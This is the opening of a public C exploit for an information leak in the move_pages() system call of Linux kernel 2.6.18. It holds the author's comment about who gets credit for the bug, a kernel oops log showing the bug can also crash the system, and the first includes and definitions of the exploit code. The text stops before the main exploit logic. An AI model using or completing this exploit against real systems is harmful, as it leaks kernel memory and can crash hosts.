Linux Kernel 2.6.18 – ‘move_pages()’ Information Leak
/* sieve (because the Linux kernel leaks like one, get it?) Bug NOT discovered by Marcus Meissner of SuSE security This bug was discovered by Ramon de Carvalho Valle in September of 2009 The bug was found via fuzzing, and on Sept 24th I was sent a POC DoS for the bug (but had forgotten about it until now) Ramon's report was sent to Novell's internal bugzilla, upon which some months later Marcus took credit for discovering someone else's bug Maybe he thought he could get away with it ;) Almost ;) greets to pipacs, tavis (reciprocal greets!), cloudburst, and rcvalle! first exploit of 2010, next one will be for a bugclass that has afaik never been exploited on Linux before note that this bug can also cause a DoS like so: Unable to handle kernel paging request at ffffffff833c3be8 RIP: [<ffffffff800dc8ac>] new_page_node+0x31/0x48 PGD 203067 PUD 205063 PMD 0 Oops: 0000 [1] SMP Pid: 19994, comm: exploit Not tainted 2.6.18-164.el5 #1 RIP: 0010:[<ffffffff800dc8ac>] [<ffffffff800dc8ac>] new_page_node+0x31/0x48 RSP: 0018:ffff8100a3c6de50 EFLAGS: 00010246 RAX: 00000000005fae0d RBX: ffff8100028977a0 RCX: 0000000000000013 RDX: ffff8100a3c6dec0 RSI: 0000000000000000 RDI: 00000000000200d2 RBP: 0000000000000000 R08: 0000000000000004 R09: 000000000000003c R10: 0000000000000000 R11: 0000000000000092 R12: ffffc20000077018 R13: ffffc20000077000 R14: ffff8100a3c6df00 R15: ffff8100a3c6df28 FS: 00002b8481125810(0000) GS:ffffffff803c0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: ffffffff833c3be8 CR3: 000000009562d000 CR4: 00000000000006e0 Process exploit (pid: 19994, threadinfo ffff8100a3c6c000, task ffff81009d8c4080) Stack: ffffffff800dd008 ffffc20000077000 ffffffff800dc87b 0000000000000000 0000000000000000 0000000000000003 ffff810092c23800 0000000000000003 00000000000000ff ffff810092c23800 00007eff6d3dc7ff 0000000000000000 Call Trace: [<ffffffff800dd008>] migrate_pages+0x8d/0x42b [<ffffffff800dc87b>] new_page_node+0x0/0x48 [<ffffffff8009cee2>] schedule_on_each_cpu+0xda/0xe8 [<ffffffff800dd8a2>] sys_move_pages+0x339/0x43d [<ffffffff8005d28d>] tracesys+0xd5/0xe0 Code: 48 8b 14 c5 80 cb 3e 80 48 81 c2 10 3c 00 00 e9 82 29 f3 ff RIP [<ffffffff800dc8ac>] new_page_node+0x31/0x48 RSP <ffff8100a3c6de50> CR2: ffffffff833c3be8 */ #include <stdio.h> #define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/syscall.h> #include <errno.h> #include "exp_framework.h" #undef MPOL_MF_MOVE #define MPOL_MF_MOVE (1 << 1) int max_numnodes;
